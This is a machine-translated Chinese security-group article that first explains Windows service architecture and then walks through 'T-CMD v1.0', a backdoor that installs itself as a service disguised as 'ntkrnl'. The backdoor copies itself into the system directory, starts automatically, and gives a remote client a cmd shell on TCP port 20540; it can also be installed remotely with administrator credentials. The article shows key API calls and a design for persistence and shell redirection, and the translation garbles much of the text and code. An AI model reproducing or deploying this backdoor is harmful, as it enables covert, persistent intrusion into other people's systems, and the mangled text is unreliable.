Author:
TOO2Y
Download this article Source Code 1, the servers under Windows all follow the service control manager (SCM) interface criteria, which will automatically run when logging in to the system, even in the case of the user login system, similar The daemon (daemon) in the UNIX system. Most of them are console programs, but there are also a few GUI programs. The service procedures involved in this article are limited to the general service programs in the Windows2000 / XP system, which does not contain Windows9x.
Second, the Windows Service Introduction Service Control Manager has a database recorded in the registry, which includes all installed service programs and device driver service programs. It allows system administrators to customize security requirements and control access for each service. Windows services include four parts: Service Control Manager, Service Control Program, Service Program, and Service Configuration Program.
1. Service Control Manager (SCM) Service Control Manager starts from the Winlogon process in the system startup, the executable file name is "admin $ / system32 / services.exe", which is an RPC server in the system, so service Configuration programs and service control programs can be remotely operated. It includes the following information: Installed Service Database: Service Control Manager has a database of installed services in the registry, which is used when the service control manager and program add, delete, configure the service program, in the registry The location of the database is: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Services. It includes a lot of sub-keys, and the name of each subkey represents a corresponding service. The database includes: service type (private process, sharing process), start type (automatic operation, start, invalid, invalid, invalid), error type (ignore, regular error, service error, key error), execution file path, dependence Information options, optional user names and passwords. Automatically start service: When the system is started, the Service Control Manager launches all "self-start" services and related dependencies. Service loading order: Sequential loading group list: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Control / ServiceGroupOrder; Specify Group List: HKEY_LOCAL_MACHINE / System / CurrentControlSet / Control / GroupOrderList; Services dependent on each service. After the system successfully guides, a LKG (Last-Know-Good "configuration information is located in: hkey_local_machine / system / controlsetxxx / service. Start service due to requirements: Users can use the service control panel program to launch a service. The service control program can also use StartService to start the service. The service control manager will perform the following: Get account information, log in to the service item, create the service for the suspension, assign the login token to the process, allowing the process to execute. Service Record List: Each service contains the following content in the database: service name, start type, service status (type, current status, accept control code, exit code, wait prompt), dependent on the service list pointer. Services Control Manager handle: Service Control Manager supports handle type Access the following object: Install the service database, service, and database lock state. 2. Service Control Program (SCP) Service Control Program can perform the on-service, control, and status query function: Turn on service: If the type of service is Service_Demand_Start, you can start a service with a service control program. The current status of the initialization phase of the start service is: service_start_pending, and the status after the initialization is: service_running. Send a control request to the running service: The control request can be the system default, or the user is customized. The standard control code is as follows: Stop service (service_control_stop), pause service (service_control_pause), restore the pause service (service_control_continue), get updates (service_control_interrogate).
3. Server a service program may have an execution code for one or more services. We can create a service program that type service_win32_oen_process has only a service. The service program for type service_win32_share_process can contain a plurality of services executed. For details, see the Windows services and programming behind. 4. Service Configuration Program programmer and system administrators can use the service configuration program to change, query the information installed service. Of course, you can also access the relevant resources through registry functions. Service installation, deletion, and list: We can use the relevant system functions to create, delete services, and query all service's current status. Service Configuration: System Administrator Controls the launch type, display name, and related description information through the service configuration program. Third, Windows Service and Programming Windows Service Programming includes several aspects, below we will introduce service programming from the perspective of service control programs, servers, and service configuration programs.
1. Before the service control program executes the relevant function of the service control program, we need to get a handle of a service object, and there are two ways: the handle of the service control manager database for a particular host; use the OpenService or CreateService function. To get the handle of a service object. Start service: To start a service, the service control program can use StartService to implement. If the service control manager database is locked, you need to wait for a certain time and test the StartService function again. Of course, you can also use the QueryServiceLockStatus function to confirm the current status of the database. When the startup is successfully completed, the dwcurrentState parameter will return the service_running value. Service Control Request: The Service Control program uses the ControlService function to send a control request to the running service. It sends a specific control command to the control handle function, which can be the system default or user-defined. And each service will determine that you will receive a list of control commands. When using the QueryServiceStatus function, the server will receive the control commands that the service program will receive in the returned DWControlsAccepted parameter. All services will accept the service_control_interrogate command. 2. Servers can include a service or multiple service execution code, but they have a fixed three parts: service main function, service servicemain function, and service control handler function. Services Main function: Serves usually exist in terms of console, so their entry points are main functions. When the Services Control Manager starts a service, the STARTSERVICECTRLDISPATCHER function will be waited. If the service type is service_win32_oen_process, it will immediately call the execution of the StartServiceCtrldispatcher function; if the service type is service_win32_share_process, it is usually called again after initializing all services. The parameter of the StartServiceCtrldispatcher function is a service_table_entry structure that contains the name and service entry point of all services in the process. Service serviceMain function: Function ServiceMain is the entry point of the service. When the service control program requests a new service startup, the Service Control Manager launches a service and sends a start request to the control scheduler, and the post control scheduler creates a new thread to perform the servicemain function. Servicemain is required to perform the following tasks: call the RegisterServiceCtrlHandler function to register a handlerex function to send a control request information to the service, the return value is the service status handle to transmit the service status to the service control manager. After initialization, call the setServiceStatus function setting service status to service_running. Finally, it is the task to perform the service. Services Control Handler Functions: Each service has a control handle handlerex function. It is called when the service process receives a control request from the service control program to the control scheduler. When you are called at the Handlerex function, call the SetServiceStatus function to report to the Service Control Manager to the current state. When the user turns off the system, all the control handle calls the setServiceStatus function with the service_accept_shutdow control code to receive NService_Control_Shutdown control code. 3. Service Configuration Services Services Configuration Programs can change or query the current configuration information of the service.
Before calling the service configuration function, you must get a handle of a service object, of course we can get it by calling the OpenScManager, OpenService, or CreateService function. Create, Delete Service: The Service Configuration Using the CreateService function Install a new service in the database of the Service Control Manager, which provides the name of the service and related configuration information and stored in the database. The service configuration program uses the DELETESERVICE function to remove a installed service from the database. 4. Service-level back door technology will often leave one or more back doors for yourself after entering a system, so that they will be accessed. When uploading a latte program is restarted after the system is restarted on the remote system, it always hopes that the back door still exists. Then, put the rear door program creation of a service program should be a good idea, which is the mechanism that uses the service program automatically run, of course, it is difficult to end a service program in the WINDOWS2000 task manager. Create a back door, it often listens to a port to make it easy for us to use the TCP / UDP protocol to establish a connection with the remote host, so we first need to create a listening port in the back door program, for the stability and security of data transfer, we can Use the TCP protocol. So how can we simulate a Telnet service latter? I think everyone knows, if there is a CMD on the remote host, it is controlled, that is, we can execute a command in this cmd, then you can implement the control of the remote host, at least a variety of conventional systems can be implemented. command. There are many ways to launch a CMD program, with Winexec, Shellexecute, CreateProcess, etc., but you can only use CreateProcess, because Winexec and Shellexecute are too simple. When using CreateProcess, you want to use it to redirect the standard input / output option, redirect the input to the CMD process of the remote host, and redirect the standard output of the remote host CMD process to the local host. Standard output. This requires the use of CreatePipe in the back door program to create two pipes to implement data communication between processes (Inter-Process Communication, IPC). Of course, you must also transfer the standard input and output of the CMD on the remote host between the local host, and we select the SEND and RECV functions of the TCP protocol. After the customer ends the access, you have to call TerminaTeprocess to end the created CMD process. V. Key Function Analysis This article T-CMD V1.0 is a service-level rear door program for Windows2000 / XP. It automatically creates a service-level back door for remote / local hosts, and supports local / remote mode without any additional commands. After restart, the program is still automatically run, listening to the port 20540 / TCP. 1. Custom data structure and function
Typedef struct
{
Handle Hpipe;
/ / For the pipeline used between processes;
Socket sclient;
// Client sleeve when communicating with the client;
} Sessiondata, * psessiondata;
/ / Redirect the data structure used in the CMD standard input / output;
Typedef struct processdata
{
Handle HPROCESS;
// Create the process handle obtained when the CMD process is created;
DWORD DWPROCESSID;
// The process identifier obtained when you create a CMD process;
Struct ProcessData * Next;
/ / Points the pointer to the next data structure;
ProcessData, * pprocessdata;
/ / Create the data structure created by the CMD process when the client ends access or deletes the service; Void WinAPI CmdStart (DWORD, LPTSTSTSTSTSTSTAR);
// "ServiceMain" in the service program: Register the service control handle, create a service main thread;
Void WinAPI CMDControl (DWORD);
// "Handlerex" in the service program: Process the received control command to delete the CMD process that has been created;
DWORD WINAPI CMDService (LPVOID);
// Serve the main thread, create a service listener port, create a redirect CMD standard input / output thread when accepting a client connection;
DWORD WINAPI CMDSHELL (LPVOID);
// Create a pipe with the CMD process, and the input / output thread of the CMD;
DWORD WINAPI ReadShell (LPVOID);
// Redirect the output of the CMD, send it to the client after reading the information;
DWORD WINAPI WRITESHELL (LPVOID);
// Redirect the input of the CMD, receive the information of the client input to the CMD process;
Bool ConnectRemote (Bool, Char *, Char *, Char *);
// If you select a remote mode, you must establish a connection with the remote host. Note the username and password of the administrator privilege, and the password is empty when using "null" instead;
Void InstallcmdService (char *);
// Copy the transfer file, open the service control manager, create or open the service program;
Void RemovecmdService (char *);
// Remove the file, stop the service, uninstall the service program;
2. Server related functions
Service_table_entry dispatchtable [] =
{
{"ntkrnl", cmdstart},
// The name and entry point of the service program;
{Null, null}
// service_table_entry structure must end with "NULL";
}
StartServiceCtrlDispatcher (DispatchTable);
// Connect the service control manager to start control the scheduler thread;
ServiceStatusHandle = RegisterServiceCtrlHandler ("ntkrnl", cmdcontrol);
// Register the CMDControl function is "Handlerex" function and initialize;
ServiceStatus.dwcurrentState = service_running;
SetServiceStatus (ServiceStatushandle, & ServiceStatus);
// Set the current status of the service to service_running;
Hthread = CreateThread (NULL, 0, CMDService, NULL, 0, NULL);
// Create a service main thread to implement the latter function;
WaitforsingleObject (hmutex, infinite);
// Wait for mutex, control the synchronous use of global variables;
TerminateProcess (LPPRocessDatahead-> HProcess, 1);
// Terminate the created CMD process;
HSEARCH = FINDFIRSTFILE (LPIMAGEPATH, & FILEDATA);
/ / Find whether the file of the service program in the system directory already exists; getModuleFileName (Null, LpCurrentPath, Max_Path);
// Get the program file name of the current process;
CopyFile (lpcurrentpath, lpimagepath, false);
// Copy the file to the system directory;
SCHSCMANAGER = OpenScManager (lphostname, null, sc_manager_all_access);
// Open the service control manager database;
CreateService (SCHSCManager,
"ntkrnl",
"ntkrnl",
SERVICE_ALL_ACCESS,
Service_win32_oen_process,
Service_Auto_Start,
Service_ERROR_IGNORE,
"ntkrnl.exe",
NULL,
NULL,
NULL,
NULL,
NULL);
// Create a service, the parameters include name, service type, start type, error type, and file path, etc.
SCHSERVICE = OpenService (SchscManager, "Ntkrnl", Service_Start);
// If the service has been created, open the service;
StartService (SCHSERVICE, 0, NULL);
// Start the service process;
ControlService (SCHSERVICE, Service_Control_Stop, & RemoveServiceStatus);
// Control service status;
DeleteService;
// Uninstall the service program;
Deletefile (LPIMAGEPATH);
//Delete Files;
3. Rear door program related functions
Hmutex = Createmutex (NULL, FALSE, NULL);
// Create a mutex;
Hthread = CreateThread (NULL, 0, CMDSHELL, (LPVOID) & SCLIENT, 0, NULL
// Create a redirect input output thread that handles client access;
CreatePipe (& Hreadpipe, & Hreadshell, & Sapipe, 0);
CreatePipe (& Hwriteshell, & HwritePipe, & Sapipe, 0);
// Create an input / output pipe for the process between processes;
CreateProcess (LPIMAGEPATH, NULL, NULL, NULL, TRUE, 0, NULL, NULL, & LPSTARTUPINFO, & LPPROCESSINFO);
// Create a CMD process that is redirected and output;
Hthread [1] = CreateThread (Null, 0, Readshell, (LPVOID *) & SDREAD, 0, & DWSENDTHREADID);
HThread [2] = CreateThread (Null, 0, Writeshell, (LPVOID *) & SDWRITE, 0, & DWREAVTHREADID);
// Create a thread that processes the CMD input and output;
DWRESULT = WaitFormultiPleObjects (3, HThread, False, Infinite);
// Wait for the end of the thread or process;
ReleaseMutex (HMUTEX);
// Release mutex;
PeeknamedPipe (sdread.hpipe, szbuffer, buffer_size, & dwbufferread, null, null); // Copy data from the pipe to the buffer, but do not move from the pipe;
Readfile (Sdread.hpipe, Szbuffer, Buffer_SIZE, & DWBufferRead, Null);
// Copy data from the pipe to the buffer;
Writefile (SDWRITE.HPIPE, SZBuffer2write, Dwbuffer2write, & dwbufferwritten, null);
/ / Write the data received from the client in the pipe;
Dwerrorcode = WnetdConnection2 (& NetResource, LPpassword, lpusername, connection_interactive);
// Establish a connection with the remote host;
WNETCANCELCONNECTION2 (LPIPC, Connect_Update_profile, true);
/ / End connection with the remote host;
6. Appendix
Profile
The SC is a console program that communicates with the NT service controller, the service process, which can query and modify the database of installed services.
Syntax: SC
The main commands include: query, config, qc, delete, create, getdisplayName, getKeyName, Enumdepend, etc.
2.T-CMD v1.0 Source Code Please see the package provided by this article About:
FZ5FZ, we are engaged in the learning and research of network / system security, in-depth programming technology analysis and discussion, adhere to original, pursue sharing. FZ5FZ Homepage: http://fz5fz.yeah.net